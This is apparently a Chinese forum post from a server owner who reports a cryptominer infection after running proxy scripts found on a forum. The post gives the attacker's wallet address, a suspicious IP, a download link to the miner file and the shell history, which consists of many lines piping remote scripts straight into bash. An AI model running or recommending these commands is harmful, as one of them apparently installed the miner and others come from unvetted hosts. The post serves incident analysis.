服务器中黑客挖矿了。不知道是哪个脚本出问题了。帮忙分析下呢

最开始的初衷是：国内鸡 跑一个NQ脚本。然后发现执行很慢，就在论坛找代理脚本，乱找一通执行。就不知道哪个脚本有鬼了。

挖矿程序文件，我也传一份 https://airportal.cn/979491/VUALKQMI7v 复制链接到浏览器打开

把文件丢给AI，马上分析出来钱包地址 ：攻击者钱包地址
82Yma6X6GRGYVLDZDuFWWMFbyjbuWPzPnCL9zUd74AGdW8d1VP8rNv7Pwh9z49R8g51jxDQ8jQ6UXCT9CJjCN9G3NDv5gX9

看网络连接 有个可疑ip 49.51.187.20:45616 连接22端口

1  curl -sL https://sick.onl | bash -s -- -cn
    2  bash <(curl -sL https://run.NodeQuality.com)
    3  wget -N https://gitlab.com/dabao/nodequality-proxy/-/raw/main/nodequality-proxy.sh && bash nodequality-proxy.sh ghproxy
    4  wget -N http://od.82xx.com/nodequality-proxy.sh && bash nodequality-proxy.sh ghproxy
    5  bash nodequality-proxy.sh ghproxy
    6  bash nodequality-proxy.sh
    7  bash nodequality-proxy.sh ghproxy
    8  wget -N https://gitlab.com/dabao/nodequality-proxy/-/raw/main/nodequality-proxy.sh && bash nodequality-proxy.sh ghproxy
    9  wget -N https://raw.githubusercontent.com/zensea/nodequality-proxy/main/nodequality-proxy.sh && bash nodequality-proxy.sh
   10  bash nodequality-proxy.sh ghproxy https://hk.gh-proxy.com
   11  bash <(curl -sL https://run.NodeQuality.com)
  
   25  bash <(curl -sSL https://gitee.com/SuperManito/LinuxMirrors/raw/main/ChangeMirrors.sh)
   26  passwd root

   29  wget -q https://github.com/Aniverse/A/raw/i/a && bash a